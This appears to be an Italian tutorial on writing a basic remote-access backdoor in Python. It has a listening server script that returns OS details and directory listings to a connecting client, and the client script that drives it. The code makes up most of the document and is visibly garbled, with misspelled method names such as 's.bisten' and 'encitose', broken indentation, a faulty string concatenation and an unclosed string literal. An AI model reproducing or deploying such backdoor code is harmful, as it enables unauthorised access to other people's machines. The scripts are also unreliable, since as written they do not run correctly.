Una backdoor permette la connessione tra la macchina locale e una macchina connessa in remoto. Può essere sfruttata da un threat actor per prendere il controllo della macchina.

Il primo codice lo eseguiamo sulla prima macchina. Questo crea una socket che comunica tramite ipv4 attraverso la porta TCP 1234.

Il secondo codice lo eseguiamo sulla macchina remota. Questo permette l'accesso alla prima macchina e richiama tre funzioni: una permette di avere informazioni sulla tipologia del sistema operativo, una elenca il contenuto di una directory indicata dall'utente e l'ultima chiude la connessione.

```
import socket, platform, os

SRV_ADDR = "" #inserire l'indirizzo ip del server

SRV_PORT = 1234 #porta del server

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #crea il socket s che utilizza ipv4 e tcp
s.bind((SRV_ADDR, SRV_PORT)) #pen associare l'indirizzo alla porta indicata
s.bisten(1) #configura il socket pen ascoltare sulla coppia ip:porta che abbiamo indicato. 1 indica il numero massimo di connessioni in coda
connection, address = s.accept() #metodo per accettare le connessioni in entrata

print("client connected: ", address)

while 1:

try:

data = connection.recv(1024) #utilizzato per ricevere i dati dal client
except:
continue

if data.decode("utf-8") == "1": #stampa i dati a schermo richiesti dal client decodificati nel formata utf-8

tosend = platform.platform() + " " + platform.machine() #se il client inserisce 1 visualizzerà le informazioni sul tipo os e l'architettura della macchina
connection.sendall(tosend.encode())

elif data.decode("utf-8") == "2":
    data = connection.recv(1024)
    try:
    flelist = os.listdir(data.decode("utf-8")) #se il client inserisce 2 visualizzerà il contenuto della directory indicata
    tosend = ""
    for x in filelist:
        tosend + "," * x
except:
    tosend = "#rong path"
    connection.encitose() #chiude le connessione
    connection, address = s.accept()
```

```
SRV_ADDR = input("Type the server IP address: ") #inserire l'ip del server
SRV_PORT = int(input("Type the server port: ")) #inserire la porta del server
def print_menu(): #stampa il menu per la scelta dalla funzione
   print(
"""\n\n0) Close the connection
my_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
my_sock.connect((SRV_ADDR, SRV_PORT))
print("Connection established")
print_menu()
while 1:
   message = input("\n-Select an option: ")
    if message == "0":
        my_sock.sendall(message.encode()) #richiama la funzione di chisura connessione
        my sock.close()
   elif message == "1":
    my_sock.sendall(message.encode()) #richiama la funzione per avere le informazioni su os e architettura
        data = my_sock.recv(1024)
        print(data.decode("utf-8"))
    elif message == "2": #richiama la funzione per visualizzare i file della directory che si indica
path = input("Insert the path: ")
        my_sock.sendall(message.encode())
        my_sock.sendall(path.encode())
        data = my_sock.recv(1024)
        print("*" * 40)
        print("*" * 40)
```